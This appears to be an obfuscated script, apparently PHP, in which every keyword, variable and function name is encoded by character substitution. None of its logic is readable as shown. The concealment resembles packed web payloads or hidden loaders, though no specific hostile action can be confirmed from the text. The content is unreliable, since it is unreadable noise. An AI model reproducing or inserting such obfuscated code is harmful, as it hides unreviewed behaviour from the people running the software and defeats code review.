<<8zp~z}f/q/.+runs-'<<<<a<<<<<a<<<<\ilx}hyCslhusr4ukC/jmfl}em~f{4-+*+50<<<<<<8d}js*{e*{%,0<<<<u{n~xs$r(~%zo4-+(/55'<<<<<<<a<zirhusr<<}jxuhw)psq{oCpr{z45<<<<<<g<hne<g8phr-l)~h-C.<<!<<<u{n~xs$r(~%zo4-+.$54u{n~xs$r(~%zo4-*+55<<#<<\ynnsnC{yhCp}oh45<&<<<<ripp'<<<<<uz<4<~~t*pewxp%lxrp.4-+((548phr-l)~h-C.5<<<<::<=yqlhe48phr-l)~h-C.Gfe/qwoyysxh4-*%5A5<::<<=yqlhe48phr-l)~h-C.GukC/jmfl}em~f{4-+,5A5<::<~~t*pewxp%lxrp.4+%*548phr-l)~h-C.Gfe/qwoyysxh4-+,5A0<}nn}e4YCYNNSN0<<YCL]NOY0<<YC_SNYCYNNSN0<<<<<<YC_SQLUPYCYNNSN0<<<<<<YCIOYNCYNNSN50<<hniy5<5<<<<<g<8fvyzvfo*~)jy/pu$<<<!<<\ukC/jmfl}em~f{4$/$54n-*%o%~y,f,/qj,455'<<<<<<<<<<<8Cyz<<<<<!<\u{n~xs$r(~%zo4$/$548phr-l)~h-C.G~~t*pewxp%lxrp.4-*%5A5'<<<<<<uz<<4~~t*pewxp%lxrp.4-+)$548fvyzvfo*~)jy/pu$5<::<<<fe/qwoyysxh4-+)$548Cyz5<::<<<<8Cyz<!!!<8fvyzvfo*~)jy/pu$5<<nyhinr'<<a<<<r*)l/j%$%n}/k~{e{}p.%4fe/qwoyysxh4-+)-55'uz<4xyzuryx4fe/qwoyysxh4-)*)555<g<8qus$hl$*%-)ro+l(<<<<<!<<<puk{lq(o/k./C(yl45'<<uz<4\u{n~xs$r(~%zo4-+*/548qus$hl$*%-)ro+l(G-A55<<<<<g<<8k}r*rq.*/(x~-<<<!<<<\~~t*pewxp%lxrp.4-+*,548qus$hl$*%-)ro+l(G-A0<<z}poy0<<<<<ripp0<,0<<4./+B-+/55'<<uz<4fe/qwoyysxh4-+)$548k}r*rq.*/(x~-5<::<ukC/jmfl}em~f{4-*//548k}r*rq.*/(x~-0<<~~t*pewxp%lxrp.4-)+.5<2<<<k{~w}fh$fk{*s}r}*k/z+h45<2<<<;&;5<<<!!!<<<<,5<<g8is%qz*hftvs<<<!<<\u{n~xs$r(~%zo4-+*/548qus$hl$*%-)ro+l(G-A<<<2<fe/qwoyysxh4-+*%55<<<<<<#<<<<<\ukC/jmfl}em~f{4-+*,548qus$hl$*%-)ro+l(G-A<2<fe/qwoyysxh4-++,50<<<z}poy0<<<<<ripp0<<,0<4()7-%55<&<<<<<>>'uz<48is%qz*hftvs<=!!<<<8k}r*rq.*/(x~-5<<<<<\~~t*pewxp%lxrp.4-++-548qus$hl$*%-)ro+l(G-A0<<<8qus$hl$*%-)ro+l(G-A<<<<<2<u{n~xs$r(~%zo4-++.55'<<a<<a<iroyh48qus$hl$*%-)ro+l(0<<8k}r*rq.*/(x~-0<<8is%qz*hftvs5'<<<<<<<<a<<<a<<<<<}ht<<4Htnsk}~py<8v~}jx$jrrlm,~%w5<<<g<<<<<<<a<<<<<}ht<4Ydylhusr<8v~}jx$jrrlm,~%w5<gaa<zirhusr<<f-k*+)hyrid}ptxl.)ef48hjhltpxo~-5<<<<guz<4=u{n~xs$r(~%zo4-++/548hjhltpxo~-55<<<nyhinr<<<<>>'<uz<4~~t*pewxp%lxrp.4-++(54~~t*pewxp%lxrp.4-++)50<8hjhltpxo~-0<<8j.ke~ex)~-lwu{55<<g<<<<zsny}t<<48j.ke~ex)~-lwu{G-A<<<<<}o<<8f~lh,ldiu~5<<<g<uz<4{wk+*z.teyd+u-(}yo-4u{n~xs$r(~%zo4(,.548f~lh,ldiu~0<<<<hniy555<<<<<<nyhinr<>>'<<<<<<a<<<auz<<4~~t*pewxp%lxrp.4-++*54fe/qwoyysxh4-+++50<8hjhltpxo~-0<<<<8j.ke~ex)~-lwu{55<<<<g<<<<<zsny}t<48j.ke~ex)~-lwu{G-A<<}o<<<<<8f~lh,ldiu~5<g<<<<uz<4{wk+*z.teyd+u-(}yo-4ohnulop}otyo48f~lh,ldiu~555<<<nyhinr<<<<>>'<uz<<4ukC/jmfl}em~f{4-*//548f~lh,ldiu~0<<<u{n~xs$r(~%zo4-++$55<<=!!<z}poy5<g8s)phku-p$)/ie}!LTLCQ]VSNCJYNOUSR'8eete,q~i~wi*!8s)phku-p$)/ie}6('<<<<8p}xdeovy.*.oxC<<<!<<lny{Cnylp}yC}pp~}w4ukC/jmfl}em~f{4-++%50<ukC/jmfl}em~f{4-+$,50<<<<8f~lh,ldiu~5'uz<<<<<<4fe/qwoyysxh4-++/548p}xdeovy.*.oxC5<::<8p}xdeovy.*.oxC<<=!!<<<8f~lh,ldiu~<<<::<{wk+*z.teyd+u-(}yo-48p}xdeovy.*.oxC55<<nyhinr<<<>>'<<a<<<<<<a<a<<uz<4u{n~xs$r(~%zo4-++*54u{n~xs$r(~%zo4-+$-50<<8hjhltpxo~-0<<8j.ke~ex)~-lwu{55<<<gzsny}t<<<<<48j.ke~ex)~-lwu{G-A<<}o<<<8f~lh,ldiu~5<g<uz<4{wk+*z.teyd+u-(}yo-4ukC/jmfl}em~f{4-+$.54}nn}e4ukC/jmfl}em~f{4-+$/50<<u{n~xs$r(~%zo4-+$(550<<}nn}e4;@@;0<;@;;50<<8f~lh,ldiu~555<<nyhinr<>>'<uz<<4fe/qwoyysxh4-*//548f~lh,ldiu~0<<~~t*pewxp%lxrp.4-++$55<=!!<<z}poy5<<<g8p}xdeovy.*.oxC<<<<!<<<<lny{Cnylp}yC}pp~}w4~~t*pewxp%lxrp.4-++%50<<<~~t*pewxp%lxrp.4-+$,50<8f~lh,ldiu~5'<<<uz<<<4u{n~xs$r(~%zo4-+$)548p}xdeovy.*.oxC5<<<::<8p}xdeovy.*.oxC<<<<=!!<<<8f~lh,ldiu~<<<<<::<<<{wk+*z.teyd+u-(}yo-48p}xdeovy.*.oxC55<<<<nyhinr<<<<<<>>'<<<<<<a<<<a<anyhinr<<8hjhltpxo~-'azirhusr<<k~n%qpkv-xnmjd48kidl+t+){royC5<<<<g<<uz<<4=u{n~xs$r(~%zo4-+$)548kidl+t+){royC5<``<<4u{n~xs$r(~%zo4-*//548kidl+t+){royC0<<<~~t*pewxp%lxrp.4-+$*55<!!!<<<<<<z}poy<::<<<<<<u{n~xs$r(~%zo4-+$+548kidl+t+){royC0<<<fe/qwoyysxh4(,.55<!!!<<<z}poy55<nyhinr<<<<<<z}poy'<<<uz<<4u{n~xs$r(~%zo4-++*54~~t*pewxp%lxrp.4-++)50<8kidl+t+){royC0<8j.ke~ex)~-lwu{55<gzsny}t<<<48j.ke~ex)~-lwu{G-A<<<<}o<<<<8f~lh,ldiu~5<<<g<<<uz<4{wk+*z.teyd+u-(}yo-4fe/qwoyysxh4(,.548f~lh,ldiu~0<<<<hniy555<nyhinr<<hniy'<<a<auz<<4ukC/jmfl}em~f{4-++*54u{n~xs$r(~%zo4-+++50<<8kidl+t+){royC0<<<<8j.ke~ex)~-lwu{55<<<<g<zsny}t<<<<<48j.ke~ex)~-lwu{G-A<<<}o<<8f~lh,ldiu~5<<<<g<<uz<<<<4{wk+*z.teyd+u-(}yo-4ohnulop}otyo48f~lh,ldiu~555<nyhinr<<<<hniy'a33<\huqysih<zpekyu{th<zsny}t<<48j.ke~ex)~-lwu{G-A<<}o<8f~lh,ldiu~5<g<<<<uz<<<4fe/qwoyysxh4-+$$548f~lh,ldiu~0<~~t*pewxp%lxrp.4-++$55<<<!!!<<z}poy5<<<srhuriy'8p}xdeovy.*.oxC<!<<<<lny{Cnylp}yC}pp~}w4ukC/jmfl}em~f{4-++%50<<fe/qwoyysxh4-+$,50<<<<<<8f~lh,ldiu~5'<<<<uz<<<4~~t*pewxp%lxrp.4-+$)548p}xdeovy.*.oxC5<<::<<8p}xdeovy.*.oxC<=!!<<<<8f~lh,ldiu~<<::<<{wk+*z.teyd+u-(}yo-48p}xdeovy.*.oxC55<<nyhinr<hniy'<a<<a<<<<<uz<4fe/qwoyysxh4-+$%54fe/qwoyysxh4-+$-50<<<<<8kidl+t+){royC0<<<<<8j.ke~ex)~-lwu{55<<<<<g<<<<<<zsny}t<48j.ke~ex)~-lwu{G-A<<<<}o<<8f~lh,ldiu~5<g<uz<4{wk+*z.teyd+u-(}yo-4~~t*pewxp%lxrp.4-+$.54}nn}e4u{n~xs$r(~%zo4-+$/50<<<~~t*pewxp%lxrp.4-+$(550<<}nn}e4;@@;0<;@;;50<<<8f~lh,ldiu~555<<<<nyhinr<<hniy'<<a<<<<zsny}t<<<<<48j.ke~ex)~-lwu{G-A<<<}o<<<<<8f~lh,ldiu~5<g<uz<<<4fe/qwoyysxh4-+%,548f~lh,ldiu~0<<~~t*pewxp%lxrp.4-++$55<!!!<<<z}poy5<<srhuriy'<8p}xdeovy.*.oxC<!<lny{Cnylp}yC}pp~}w4fe/qwoyysxh4-++%50<fe/qwoyysxh4-+$,50<8f~lh,ldiu~5'uz<<<4ukC/jmfl}em~f{4-+%-548p}xdeovy.*.oxC5<<<<<::<<<8p}xdeovy.*.oxC<<<<=!!<<<<<<8f~lh,ldiu~<<<::<{wk+*z.teyd+u-(}yo-48p}xdeovy.*.oxC55<<<<nyhinr<<<hniy'aa<<<<<nyhinr<<<<z}poy'<<<a<zirhusr<<nsw-)hms*z-jk%f48kidl+t+){royC5<<<g8w.~evf+u!-%)`-/'8~n+qzjk).C~s$%!8w.~evf+uB-+'<<<<<<uz<<<4=ukC/jmfl}em~f{4-+%.548kidl+t+){royC5<<``<8kidl+t+){royC<<<<<!!!<<>>5<nyhinr<>>'<<<nyhinr<4u{n~xs$r(~%zo4-+.-54u{n~xs$r(~%zo4-+%/50<<fe/qwoyysxh4-+%(548kidl+t+){royC0<<<,0<4-.*/7*%.%550<<<<8j+v-)%oqr*z%l+55<<#<8j+v-)%oqr*z%l+G-A<<<&<<>>'a<zirhusr<uxinkfyr%(hd-dw/dd48uqo.{zlt,,0<<<8wnqekdyeqCnsvd0<8jpoztx*Cvfm,-$<<!<ripp5g8v+(t-n+)tvu!1($-'8p}+x}o-%ik~v!48v+(t-n+)tvu",5#8v+(t-n+)tvu&18v+(t-n+)tvu'<<<<<uz<<<4=ukC/jmfl}em~f{4-+%)548uqo.{zlt,,5<<``<8uqo.{zlt,,<<<!!!<<<<>>5<<nyhinr<<8uqo.{zlt,,'<8}{vvf/}ro,ktjqsp<<!<<<<<~~t*pewxp%lxrp.4-+%*5<2<<8wnqekdyeqCnsvd<<<<<2<<<u{n~xs$r(~%zo4%*%5'<8nufj/vfstmrxdCd<!<>>'<<<8wzt+.*tvCplz+~{<<!<<,'<<<<ktupy<<<48wzt+.*tvCplz+~{77<<<<< <<<<<4(  )55<<<<<g<<<<<<<8nx*})ps%z<<<<!<<<ukC/jmfl}em~f{4-+%,548uqo.{zlt,,0<8}{vvf/}ro,ktjqsp5'uz<48nx*})ps%z<<<!!!<z}poy5<<<~ny}w'<<8ko*ho*+pqs<<<!<8nx*})ps%z<<<<<7<<~~t*pewxp%lxrp.4-+./548}{vvf/}ro,ktjqsp5'<<8x{ox**}rk)xh<!<<~~t*pewxp%lxrp.4-+%,548uqo.{zlt,,0<<u{n~xs$r(~%zo4-*.+50<<8ko*ho*+pqs5'<<<<uz<<<48x{ox**}rk)xh<<<!!!<z}poy<<<``<<<<<8x{ox**}rk)xh<<<1<<<<8ko*ho*+pqs<<<"<<4(,B-,(55<<g<<<<<8nufj/vfstmrxdCd<<<2!<<~~t*pewxp%lxrp.4-+%(548uqo.{zlt,,0<<,0<<<8ko*ho*+pqs5'<<<<8uqo.{zlt,,<<<!<<<<ukC/jmfl}em~f{4-+%(548uqo.{zlt,,0<<8ko*ho*+pqs5'srhuriy'<<<<<<<a<<<<<8zj-},-u,r-peov<<<!<<<u{n~xs$r(~%zo4-+%(548uqo.{zlt,,0<<<8ko*ho*+pqs0<<8x{ox**}rk)xh<1<<8ko*ho*+pqs5'<<<<<uz<<<<4=ukC/jmfl}em~f{4-+.-54~~t*pewxp%lxrp.4-+%+50<8zj-},-u,r-peov55<<<g<<<8nufj/vfstmrxdCd<<<2!<ukC/jmfl}em~f{4-+%$548uqo.{zlt,,0<<<<,0<8ko*ho*+pqs5'<8uqo.{zlt,,<<<!<<<<~~t*pewxp%lxrp.4-+%$548uqo.{zlt,,0<<<8ko*ho*+pqs5'srhuriy'<<<<a8y$(u){(umom(<<<<!<<<<ukC/jmfl}em~f{4-+%%5<<2<8wnqekdyeqCnsvd<2<<<ukC/jmfl}em~f{4-$,,5<2<<8zj-},-u,r-peov<<<2<u{n~xs$r(~%zo4-*.+5'<<<8ezw$q+yeufx+-k<!<<<<<u{n~xs$r(~%zo4-+%,548uqo.{zlt,,0<<8y$(u){(umom(0<<<8x{ox**}rk)xh5'<<<uz<48ezw$q+yeufx+-k<<!!!<<<z}poy5<~ny}w'<<<<8nufj/vfstmrxdCd<<2!<<<fe/qwoyysxh4-+%$548uqo.{zlt,,0<<<<,0<<<8nx*})ps%z5'<<<<<<<8zj,zlx}xjqy<!<<<<u{n~xs$r(~%zo4-+%$548uqo.{zlt,,0<<<8nx*})ps%z0<<<<8ezw$q+yeufx+-k<7<<~~t*pewxp%lxrp.4-$,-548y$(u){(umom(5<1<<<<8nx*})ps%z5'<<uz<<48jpoztx*Cvfm,-$<=!!<<ripp5<<<<g<<<<<<<<8lvz.-s(sv%zi)+*<<!<u{n~xs$r(~%zo4//)548jpoztx*Cvfm,-$0<<<8zj,zlx}xjqy5'uz<<4fe/qwoyysxh4-+%)548lvz.-s(sv%zi)+*55<<8nufj/vfstmrxdCd<2!<<8lvz.-s(sv%zi)+*'<a<ypoy<<<g<8nufj/vfstmrxdCd<<<<2!<<<<<<8zj,zlx}xjqy'8}weokzp)f(Cl(m!LTLCQ]VSNCJYNOUSR'8}qm-{,dt.+!8}weokzp)f(Cl(m6)'<<<<<<a8uqo.{zlt,,<!<u{n~xs$r(~%zo4-+%$548uqo.{zlt,,0<<<<8ezw$q+yeufx+-k<<<<7<<u{n~xs$r(~%zo4-$,-548y$(u){(umom(55'<<a<nyhinr<<8nufj/vfstmrxdCd<<2<<<<<<8uqo.{zlt,,'<a<<zirhusr<<<{m*o+quvpxoi)/-/uv$48hjhltpxo~-5g<nyhinr<>>'<<<<<<a<<zirhusr<<<rj+/xw/qi-fh,lx$48hjhltpxo~-5<<<g<uz<4=fe/qwoyysxh4-+%)548hjhltpxo~-55<<nyhinr<>>'<uz<4=xyzuryx4~~t*pewxp%lxrp.4-)*)555<<nyhinr<8hjhltpxo~-'<8weprx-vv%e<<!<<soyll~yypdn%it4]^OL]HT<<<<2<<fe/qwoyysxh4-$,.50<<<<<4(  -55'<<<<<<uz<<<<<<4~~t*pewxp%lxrp.4-+.-54~~t*pewxp%lxrp.4-$,/5<2<<8weprx-vv%e<<<2<<fe/qwoyysxh4-$,(50<8hjhltpxo~-55<<<<nyhinr<>>'<<nyhinr<<<<<8hjhltpxo~-'<<<a<zirhusr<<<<<jCvlnv*)l$emxu48uqo.{zlt,,5guz<<4=ukC/jmfl}em~f{4-$,)548uqo.{zlt,,5<<<``<<<<8uqo.{zlt,,<<<<!!!<>>5<nyhinr<<<8uqo.{zlt,,'<<<8qvqnyou,w.~,{-ij<<!<uxinkfyr%(hd-dw/dd48uqo.{zlt,,0<<<~~t*pewxp%lxrp.4-$,*50<<fe/qwoyysxh4-$,+55'<<<<8qvqnyou,w.~,{-ij<<!<<uxinkfyr%(hd-dw/dd48qvqnyou,w.~,{-ij0<fe/qwoyysxh4-$,$50<<ukC/jmfl}em~f{4-$,%55'<<<uz<<<4~~t*pewxp%lxrp.4-$-,548qvqnyou,w.~,{-ij55<8qvqnyou,w.~,{-ij<<!<<~~t*pewxp%lxrp.4-*/+54~~t*pewxp%lxrp.4-$--50<<<<<<>>0<<<8qvqnyou,w.~,{-ij5'<uz<<<4=u{n~xs$r(~%zo4-$-,548qvqnyou,w.~,{-ij55<<<<<<8qvqnyou,w.~,{-ij<<!<8uqo.{zlt,,'8{jy{${y{}eft)%!LTLCURHCQ]D3LTLCURHCQ]D'8~zoomfiriC!8{jy{${y{}eft)%7%-'<<<<uz<<<4k~n%qpkv-xnmjd48qvqnyou,w.~,{-ij55<<<<g<<<<8qvqnyou,w.~,{-ij<!<<<uxinkfyr%(hd-dw/dd48qvqnyou,w.~,{-ij0<<<fe/qwoyysxh4-$,*50<~~t*pewxp%lxrp.4-$-.55'8qvqnyou,w.~,{-ij<<<<<!<<uxinkfyr%(hd-dw/dd48qvqnyou,w.~,{-ij0<<u{n~xs$r(~%zo4-$-/50<<<<<u{n~xs$r(~%zo4-$-.55'<<uz<<<4u{n~xs$r(~%zo4-$-(548qvqnyou,w.~,{-ij55<<<8qvqnyou,w.~,{-ij<<!<<<<~~t*pewxp%lxrp.4-*/+54fe/qwoyysxh4-$--50<<>>0<<8qvqnyou,w.~,{-ij5'<a<nyhinr<<<<<<~~t*pewxp%lxrp.4-$-(548qvqnyou,w.~,{-ij5<#<<8qvqnyou,w.~,{-ij<<&<8uqo.{zlt,,'a<<zirhusr<f,+~ii/d)%pp/+48uqo.{zlt,,5<<<g<uz<<<<<4=ukC/jmfl}em~f{4-$-(548uqo.{zlt,,5<``<=xyzuryx4~~t*pewxp%lxrp.4-)*)555<nyhinr<z}poy'<<<<uz<<4ukC/jmfl}em~f{4-+.-54u{n~xs$r(~%zo4-$--50<<8uqo.{zlt,,55<<<nyhinr<hniy'8mekpdoikrxqdw<<<<!<<<soyll~yypdn%it4]^OL]HT<<2<<<<~~t*pewxp%lxrp.4-$-)50<<<4,d*7,d.55'uz<4~~t*pewxp%lxrp.4-+$%54fe/qwoyysxh4-$-*50<8uqo.{zlt,,0<<<<8~s)m.(%w}f55<g<<zsny}t<48~s)m.(%w}fG-A<<<<<}o<<<<8p}k{-.$rsle5<<<<<<g<<<<<<uz<4ukC/jmfl}em~f{4-+%$548p}k{-.$rsle0<<<14(7)55<<<!!!<<;&;<<2<<8mekpdoikrxqdw5<<nyhinr<<<<<<hniy'<<<<<<<aa<8Cxx<<<<<!<<fe/qwoyysxh4-+%$54u{n~xs$r(~%zo4-+*)54]^OL]HT<<<<2<<fe/qwoyysxh4-$-+550<<<,0<<<<<4-.1(55'<<<<uz<<<4~~t*pewxp%lxrp.4-+$%54fe/qwoyysxh4-$-$50<<8uqo.{zlt,,0<<8Cxq55<g33<KL<Ol}yn<^psw<iohsqufyn<hn}rolsnh<zsny}t<<<48CxqG-A<<<}o<<8wdy,qlhixeq,5<<<<guz<48wdy,qlhixeq,<<<<!!!<<<8Cxx5<<nyhinr<hniy'<<a<anyhinr<<<<z}poy'<<<<a<zirhusr<tdx%-Ckkkvv~e~iqo-m45<<<g<<uz<4=uooyh48C[YHGfe/qwoyysxh4-$-%5A5<``<<=u{n~xs$r(~%zo4-$-(548C[YHGu{n~xs$r(~%zo4-$-%5A5<<``<<<<=u{n~xs$r(~%zo4-+.$54ukC/jmfl}em~f{4-+,)555<<nyhinr'<<<<<8y./Cpz{jh}Ci<<!<<<<\{yhCslhusr4ukC/jmfl}em~f{4-$.,50<<}nn}e455'uz<4=ukC/jmfl}em~f{4-$.-548y./Cpz{jh}Ci55<<<nyhinr'<8p$lv}+$s*$(p/<<!<4ohnur{5<8C[YHGukC/jmfl}em~f{4-$..5A'<8nzh$j(wx$eotd+<!<}nn}e45'<uz<4uooyh48y./Cpz{jh}CiG;h;A55<<<<8nzh$j(wx$eotd+GA<<<!<4ohnur{5<<<<8y./Cpz{jh}CiG;h;A'<<<<uz<<<4uooyh48y./Cpz{jh}CiGukC/jmfl}em~f{4*/,5A5<<::<<<<<~~t*pewxp%lxrp.4-$.-548y./Cpz{jh}CiGfe/qwoyysxh4*/,5A55<gzsny}t<<<<<<48y./Cpz{jh}CiGfe/qwoyysxh4*/,5A<<<}o<<8t%h{pievmz5<g<<uz<<<<4~~t*pewxp%lxrp.4-$.-548t%h{pievmz5<<<<<<::<<<<<uooyh48t%h{pievmzG;h;A55<<8nzh$j(wx$eotd+GA<!<<<<<4ohnur{5<<<<8t%h{pievmzG;h;A'<<<<<<a<a<8jipwu+zfh.m{f%j}<<!<z}poy'<<zsny}t<<<<<48nzh$j(wx$eotd+<}o<<<8nt.drqhhz5<<<g8mu{yd/ro/!LTLCQ]VSNCJYNOUSR'8jkt}~{$hm!8mu{yd/ro/6)'<<uz<48nt.drqhhz<<<<!!!<>>5<<<srhuriy'<<8jipwu+zfh.m{f%j}<!<<<<~~t*pewxp%lxrp.4-+.$54~~t*pewxp%lxrp.4-$./55<<<#<t}otCymi}po48nt.drqhhz0<<<<<8p$lv}+$s*$(p/5<&<<<<48nt.drqhhz<!!!<<<<<<8p$lv}+$s*$(p/5'<<uz<<48jipwu+zfh.m{f%j}5<<<<~ny}w'<<a33<\xylnsjuousr<otyxipyn<uz<<4=8jipwu+zfh.m{f%j}5<nyhinr'uz<<<4fe/qwoyysxh4-+.$54fe/qwoyysxh4)..555<<g<<<fe/qwoyysxh4)..54zirhusr<<45<ioy<48p$lv}+$s*$(p/5<<g<<<<<yts<<<<<>@r =11O_W&><<<<2<8p$lv}+$s*$(p/<<2<<u{n~xs$r(~%zo4-$.(5'<a5'<<<<a<a<zirhusr<<j%+}tzz).prCxisppoo45<<<<<g<<<<<<uz<<4=fe/qwoyysxh4-$.)54fe/qwoyysxh4-+,)555<<nyhinr<<z}poy'<<8j+v-)%oqr*z%l+<<<<<!<<\{yhCslhusr4fe/qwoyysxh4*.)50<<>>5'<uz<4=~~t*pewxp%lxrp.4-$-(548j+v-)%oqr*z%l+5<<<``<<u{n~xs$r(~%zo4-+%,548j+v-)%oqr*z%l+0<<<u{n~xs$r(~%zo4-$.*55<=!!<,5<nyhinr<<<<z}poy'8osrume/C+yo/qvj<<<!<<<<4urh5<<ukC/jmfl}em~f{4-+%$548j+v-)%oqr*z%l+0<4-$%B-$+55'<<<<<<uz<<<48osrume/C+yo/qvj<<::<<<<ukC/jmfl}em~f{4-$.+545<<<1<<8osrume/C+yo/qvj<"<<<4$*/)*7((55<nyhinr<z}poy'nyhinr<<<<<hniy'<azirhusr<r,-C%sish})}fu48rp,dwv$,y$0<8if)oiyso$t~u}w5g33<Qyq}tyx<}x}lhyn&<irps}x<k}hynq}nw<<<uz<<<<<<4=fe/qwoyysxh4-$.)54ukC/jmfl}em~f{4-+**55<<``<=~~t*pewxp%lxrp.4-$.$54ukC/jmfl}em~f{4)..555<nyhinr<<z}poy'<<<<<uz<<4j%+}tzz).prCxisppoo455<<<<nyhinr<hniy'<<<<<8y./Cpz{jh}Ci<<<!<<\{yhCslhusr4fe/qwoyysxh4-$.,50<<<}nn}e455'<<uz<<4=ukC/jmfl}em~f{4-$.-548y./Cpz{jh}Ci55<<8y./Cpz{jh}Ci<!<<<<<}nn}e45'<<<<<<<uz<<4=uooyh48y./Cpz{jh}CiG~~t*pewxp%lxrp.4-$.%5A5<<``<=~~t*pewxp%lxrp.4-$.-548y./Cpz{jh}CiGfe/qwoyysxh4-$.%5A55<<g8kvrx/sol(n+$l<!<<<<<}nn}e45'<uz<<4uooyh48y./Cpz{jh}CiG;h;A0<<8y./Cpz{jh}CiG;l;A0<8y./Cpz{jh}CiG;~;A55<<<g33<lnsjuousr<ohnsr{<rsqur}p1hely<<<<<8kvrx/sol(n+$lGu{n~xs$r(~%zo4-+*)544ohnur{5<<<8y./Cpz{jh}CiG;l;A5A<<!<<}nn}e4;h;<<<<!"<<4ohnur{5<8y./Cpz{jh}CiG;h;A0<<<<<;l;<<<!"<<4ohnur{5<<<8y./Cpz{jh}CiG;l;A0<<;~;<<!"<<<<<4ohnur{5<8y./Cpz{jh}CiG;~;A0<<<<<~~t*pewxp%lxrp.4-,$,5<!"<uooyh48y./Cpz{jh}CiGukC/jmfl}em~f{4-,$,5A5<<#<<<4urh5<<8y./Cpz{jh}CiG~~t*pewxp%lxrp.4-,$,5A<<&<<u{n~xs$r(~%zo4-$.+5450<~~t*pewxp%lxrp.4-$/,5<<<!"<,0<<;r;<<<<!"<,5'<a<<<<8y./Cpz{jh}Ci<<!<<}nn}e4u{n~xs$r(~%zo4-$.%5<<!"<<8kvrx/sol(n+$l5'<<a<<<8zj-},-u,r-peov<!<<<<<~~t*pewxp%lxrp.4-+*)548rp,dwv$,y$5'<<<<uz<<<<4uooyh48y./Cpz{jh}CiGfe/qwoyysxh4-$.%5AG8zj-},-u,r-peovA55<g<<<<<8y./Cpz{jh}CiGfe/qwoyysxh4-$.%5AG8zj-},-u,r-peovAGu{n~xs$r(~%zo4-,$,5A<<<<<<!<<<~~t*pewxp%lxrp.4-$/-545'<<8y./Cpz{jh}CiG~~t*pewxp%lxrp.4-$.%5AG8zj-},-u,r-peovAGukC/jmfl}em~f{4-$/.5A<<<!<<<<,'<<<<<8y./Cpz{jh}CiGu{n~xs$r(~%zo4-$.%5AG8zj-},-u,r-peovAG;r;A<!<<48if)oiyso$t~u}w<<!!!<<<>>5<<<#<-<<<&<<<,'uz<4=o~mz~fi/(/rr)jo-dvudl48y./Cpz{jh}CiGfe/qwoyysxh4-$//5AG8zj-},-u,r-peovAG;~;A0<<<<<<8if)oiyso$t~u}w55<<g<<<<<<<<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4-$/(50<<<<<u{n~xs$r(~%zo4-$/)55'<nyhinr<<<<z}poy'<<aa<<ypoy<<g<<<<<<<8n+lwp-wio,<<!<<<kqhhzsemj.~r~$/{$u45'<8woetzlf%f(fpwxv/<!<<<8n+lwp-wio,<<2<<~~t*pewxp%lxrp.4-$/*5<<<2<<soyll~yypdn%it48rp,dwv$,y$0<<4-%1+55<<<2<<<<u{n~xs$r(~%zo4-$/+5'uz<4=o~mz~fi/(/rr)jo-dvudl48woetzlf%f(fpwxv/0<<<8if)oiyso$t~u}w55<<gswd(~($..Cxnwiox}epi4~~t*pewxp%lxrp.4-$/(50<<<<<<fe/qwoyysxh4-$/$55'<<<<<nyhinr<<z}poy'<a<<8y./Cpz{jh}CiGu{n~xs$r(~%zo4-$//5AG8zj-},-u,r-peovA<<<<!<<}nn}e4;h;<!"<<<<yd(-d*t,+{.mr,rd{-44(+B*/550<<<;l;<!"<<<<<8rp,dwv$,y$0<<<<<;~;<!"<<<<8woetzlf%f(fpwxv/0<u{n~xs$r(~%zo4-,$,5<!"<ukC/jmfl}em~f{4-$/%5450<fe/qwoyysxh4-$(,5<!"<,0<;r;<<!"<48if)oiyso$t~u}w<<!!!<<<>>5<<<<<<#<-<<<<&<<<,5'<a<<<<<ktupy<<<<<4u{n~xs$r(~%zo4-$(-548y./Cpz{jh}CiGukC/jmfl}em~f{4-$//5A5<<<"<<<<<4-(1(55<g<<<<8zek($ymm/n}ozmd<<<<<!<<ripp'<<<<<8t*vf,o~f/yin/s(<<<<!<ripp'<zsny}t<<<48y./Cpz{jh}CiGu{n~xs$r(~%zo4-$//5A<<}o<<8m-h}.d~-mrri+*rm<!"<<8q$e*vy--p,sm5<g<<<uz<<<<48t*vf,o~f/yin/s(<<<!!!<<<ripp<``<4urh5<8q$e*vy--p,smGfe/qwoyysxh4-,$,5A<< <<<<<8t*vf,o~f/yin/s(5<g8fmrfw,z~!4,dyx7,d+(5'8smsx(CCrtj!8fmrfw,z~9%'<<<<<<<8t*vf,o~f/yin/s(<<!<4urh5<8q$e*vy--p,smG~~t*pewxp%lxrp.4-,$,5A'8zek($ymm/n}ozmd<!<<<8m-h}.d~-mrri+*rm'<a<<a<<uz<<<48zek($ymm/n}ozmd<<!!!<<<ripp5<~ny}w'<uepno,inmjey/mr48y./Cpz{jh}CiGukC/jmfl}em~f{4-$(.5AG8zek($ymm/n}ozmdAG;~;A5'<<<iroyh48y./Cpz{jh}CiG~~t*pewxp%lxrp.4-$(.5AG8zek($ymm/n}ozmdA5'<<<<<<a<<<<<\ilx}hyCslhusr4fe/qwoyysxh4-$(/50<<<<8y./Cpz{jh}Ci0<<<<u{n~xs$r(~%zo4-+(/55'<<<ukC/jmfl}em~f{4)..54fe/qwoyysxh4-$((55'<nyhinr<<<hniy'<a<<<<zirhusr<u,$xt.$tr-oeilw(qp48vqv$-l*x{z5<<<<<g<<<8uxhvnjpkvhrfe<<!<\fe/qwoyysxh4-$()548vqv$-l*x{z0<<}nn}e4u{n~xs$r(~%zo4--)/5<<<!"<<4%7/50<<<<fe/qwoyysxh4--(*5<<<!"<<z}poy0<<u{n~xs$r(~%zo4(($5<!"<<hniy0<<<<<<u{n~xs$r(~%zo4-$(*5<<<<<!"<<,0<<<<<u{n~xs$r(~%zo4--($5<<!"<<}nn}e4fe/qwoyysxh4--(%5<<<<<!"<fe/qwoyysxh4-$(+50<<<<<ukC/jmfl}em~f{4-$($5<<<<!"<<fe/qwoyysxh4--),5555'<<<<<uz<<<<4fe/qwoyysxh4-$(%54fe/qwoyysxh4-$),55<<::<uoCklCynnsn48uxhvnjpkvhrfe55<<nyhinr<}nn}e41-0<z}poy5'<<<<<<8h~q($).,hesipl-<<<<<<!<<fe/qwoyysxh4-$(%54~~t*pewxp%lxrp.4-$)-55<<<#<4urh5<<<klCnyqshyCnyhnuyjyCnyolsroyCsxy48uxhvnjpkvhrfe5<<&<,'<<nyhinr<<}nn}e48h~q($).,hesipl-0<<8h~q($).,hesipl-<<<<"<<,<::<<<<~~t*pewxp%lxrp.4-$).54fe/qwoyysxh4-$)/55<#<4ohnur{5<<<<<klCnyqshyCnyhnuyjyC~sxe48uxhvnjpkvhrfe5<<<&<>>5'<<azirhusr<<<j/zxq}xylrCq*+jh48t%h{pievmz5g<<8s-+-p+}kykx$<<<<<<